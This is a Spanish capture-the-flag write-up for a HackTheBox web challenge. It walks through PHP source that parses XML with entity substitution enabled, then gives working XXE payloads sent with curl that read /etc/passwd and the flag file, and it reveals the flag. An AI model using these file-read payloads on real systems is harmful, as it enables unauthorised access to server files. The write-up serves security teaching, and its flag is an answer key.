baby WAFfles order
3 minutos de lectura
Se nos proporciona esta página web:
Análisis de código estático
También tenemos el código fuente en PHP. Esto es index.php
:
<?php
spl_autoload_register(function ($name){
if (preg_match('/Controller$/', $name))
{
$name = "controllers/${name}";
}
include_once "${name}.php";
});
$router = new Router();
$router->new('GET', '/', fn($router) => $router->view('menu'));
$router->new('POST', '/api/order', 'OrderController@order');
die($router->match());
Aquí solamente hay dos rutas. La que parece más interesante es la que está gestionada por OrderController.php
:
<?php
class OrderController
{
public function order($router)
{
$body = file_get_contents('php://input');
if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/json')
{
$order = json_decode($body);
if (!$order->food)
return json_encode([
'status' => 'danger',
'message' => 'You need to select a food option first'
]);
return json_encode([
'status' => 'success',
'message' => "Your {$order->food} order has been submitted successfully."
]);
}
else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml')
{
$order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT);
if (!$order->food) return 'You need to select a food option first';
return "Your {$order->food} order has been submitted successfully.";
}
else
{
return $router->abort(400);
}
}
}
Básicamente, el controlador nos permite introducir datos en formato JSON o formato XML:
$ curl 178.62.91.22:30596/api/order -H 'Content-Type: application/json' -sd '{"food":"asdf"}' | jq
{
"status": "success",
"message": "Your asdf order has been submitted successfully."
}
$ curl 178.62.91.22:30596/api/order -H 'Content-Type: application/xml' -sd '<?xml version="1.0"?>
<order>
<food>asdf</food>
</order>'
Your asdf order has been submitted successfully.
Nótese que tiene que haber una etiqueta llamada food
dentro de un elemento order
para XML, y solo food
en JSON (ver el código PHP anterior).
Explotación de XXE
Si subimos un documento XML, podemos utilizar Entidades Externas XML y leer el contenido de un archivo. Por ejemplo, podemos usar esta prueba de concepto de PayloadsAllTheThings:
<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<order>
<food>&file;</food>
</order>
Usando curl
, tenemos esta respuesta:
$ curl 178.62.91.22:30596/api/order -H 'Content-Type: application/xml' -sd '<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<order>
<food>&file;</food>
</order>'
Your root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
utmp:x:100:406:utmp:/home/utmp:/bin/false
www:x:1000:1000:1000:/home/www:/bin/sh
nginx:x:101:101:nginx:/var/lib/nginx:/sbin/nologin
order has been submitted successfully.
En este punto, podemos leer cualquier archivo si conocemos la ruta absoluta. En el Dockerfile
podemos averiguar dónde encontrar la flag:
FROM alpine:edge
# Setup usr
RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
# Install system packages
RUN apk add --no-cache --update supervisor nginx php7-fpm
# Install PHP dependencies
RUN apk add --no-cache --update php7-fpm php7-xml php7-simplexml php7-json
# Configure php-fpm and nginx
COPY config/fpm.conf /etc/php7/php-fpm.d/www.conf
COPY config/supervisord.conf /etc/supervisord.conf
COPY config/nginx.conf /etc/nginx/nginx.conf
# Copy challenge files
COPY challenge /www
COPY flag /flag
# Setup permissions
RUN chown -R www:www /var/lib/nginx
# Expose the port nginx is listening on
EXPOSE 80
# Populate database and start supervisord
CMD /usr/bin/supervisord -c /etc/supervisord.conf
Flag
Entonces, vamos a leerla:
$ curl 178.62.91.22:30596/api/order -H 'Content-Type: application/xml' -sd '<?xml version="1.0"?>
<!DOCTYPE data [ <!ENTITY file SYSTEM "file:///flag"> ]>
<order>
<food>&file;</food>
</order>'
Your HTB{wh0_l3t_th3_XX3_0ut??w00f..w00f..w00f..WAFfles!} order has been submitted successfully.